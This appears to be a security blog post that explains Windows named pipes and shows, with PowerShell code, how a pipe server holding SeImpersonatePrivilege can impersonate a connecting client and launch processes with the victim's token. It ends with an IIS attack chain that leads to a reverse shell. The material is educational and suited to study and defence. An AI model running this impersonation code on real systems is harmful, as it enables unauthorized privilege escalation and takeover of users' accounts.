Named pipes are nothing new,  it’s a an old technology you will find in many operating systems (Unix, Windows,…) to permit asynchronous or synchronous inter-process communication (IPC) on the same computer or on different computers across the network. With named pipes you can send/receive and share  data between processes using the memory.  They are very similar to TPC/IP sockets, you have a server which listens for connections and clients which connects to the server in order to request or send data.

Named Pipes  are heavily used in Windows, just launch pipelist and you will see a bunch of pipes and related info:



You can list named pipes from powershell too (try it!):

PS>Get-ChildItem \\.\pipe\

Named pipes are managed  through  Windows API calls. For the server  process you will use the functions:  CreateNamedPipe() and ConnectNamedPipe() , for the client process CreateFile() or CallNamedPipe(). Once you have the handle to your named pipe, you can read/write data as if it was a file.  Each pipe is identified by the following “path”:


It is possible to play with named pipes in various languages: C, C# and, why not, also powershell.

Ok, back to us, why should we care about named pipes? Because they permit the server process to impersonate the client process which is connecting to it. Here comes the magic API call ImpersonateNamedPipeClient().

So, if you have a named pipe server running as a non admin user and an admin process connects to your pipe, you could in theory impersonate the admin user. Why only in theory? Because you need a special privilege, SeImpersonatePrivilege, which is normally held by privileged users and the various service and virtual accounts. Seems more interesting now?

Well, this feature, despite it’s simplicity and obviousness, is often not well known or misunderstood, especially among young “infosec people”.

Therefore I decided to write this little post, starting from a very simple powershell pipeserver example because, as usual, some pieces of codes are much more explanatory than thousands of words.

If you want to try it at home, grant to your standard Windows user (Attacker)  the SeImpersonatePrivilege  via “gpedit.msc” and download the above mentioned powershell script.



What are we doing in this script? (I will omit all the PS code in order to access the API’s)

First of all, we  create a “named pipe security object” in order to grant to everyone read/write permissions to our named pipe.

$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", 
"ReadWrite", "Allow" )

Next, we instantiate the bidirectional named pipe server stream “pipedummy”, with maximum 10 instances, buffer size of 1024 for input/output  and associate the access control list. After that the pipe is accessible via its handle:

$pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut",
10, "Byte", "None", 1024, 1024, $PipeSecurity)
$PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()

The named pipe is ready for accepting client connections:


Once a client connects,  we need to read data that the client  is sending to us (server):

$pipeReader = new-object System.IO.StreamReader($pipe)
$Null = $pipereader.ReadToEnd()

We don’t always need to write code for connecting a client to a named pipe, just redirect some output to the named pipe from the victim’s command prompt:

C:\>echo test > \\.\pipe\pipedummy

In the Attacker PS shell, we can impersonate the client in the current thread:

#we are still Attacker
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
#now  we are impersonating the user (Victim),
echo $user
# everything we do BEFORE RevertToSelf is done on behalf that user
$RetVal = $RevertToSelf.Invoke()
# we are again Attacker

We can issue Powershell commands in the context of the impersonated user, for example creating a file in the user’s home directory:

$fname="c:\users\" +$user.substring($user.IndexOf("\")+1) + "\test.txt"
Set-Content -path $fname -value "test"

Can we launch a process too? Yes, but not directly. We need to get the thread’s token (we are impersonating “Victim”) and then use this token to launch a new process  as user “Victim”.

#we are Victim
#get the current thread handle
$ThreadHandle = $GetCurrentThread.Invoke()
[IntPtr]$ThreadToken = [IntPtr]::Zero
#get the token of victim's thread
[Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, 
$Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken)

Once we have the token, we can use it in conjunction with the CreateProcessWithToken() 

API Call.

$RetVal = $RevertToSelf.Invoke()
# we are again Attacker
#run a process as the previously impersonated user
$StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
[IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
$memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
[System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct
$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
$memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null
$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname)
$ProcessArgsPtr = [IntPtr]::Zero

$Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0,
$ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, 
$StartupInfoPtr, $ProcessInfoPtr)

$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
echo "CreateProcessWithToken: $Success  $ErrorCode"

This function needs SeImpersonatePrivilege, that’s why we call before RevertToSelf() in order to get back to our user (Attacker)  who has the privilege and can run a process with Victim’s token.

Side note: CreateProcessWithToken() relies on the “Secondary Logon Service”, so if this one is disabled the call will fail.

And now that we know how named pipe works, how can we take advantage of impersonation?


It’s relatively simple, we have to “trick” a privileged process (or just the user we want to impersonate) to write into our named pipe… but how?

Well, there could be many scenarios, for example this one,  based on “true story”:

  • you are facing with a  dotnet web application with Windows Integrated Authentication
  • you are able to access the admin backend using a weak local password
  • From the admin panel you can specify the Logfile  which records the users activities
  • From the admin panel you can  get an RCE (in this case it was possible to  upload an .aspx file).
  • The webserver is running  under the standard IIS AppPool user which has  SeImpersonate privilege by default.

Putting it all together the steps towards the privilege escalation are now obvious:

  • specify for the Logfile a named pipe (\\.\pipe\logfile)
  • obtain a shell as IIS AppPoolUser, create the named pipe and wait for connections
  • impersonate the authenticated users writing to your Logfile
  • If it is a high privileged user launch  reverse shell with his token…

Easy ?!

Combining SeImpersonatePrivilege with SeCreateSymbolicLinkPrvilege  would open new interesting scenarios… but that’s all for now!















Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s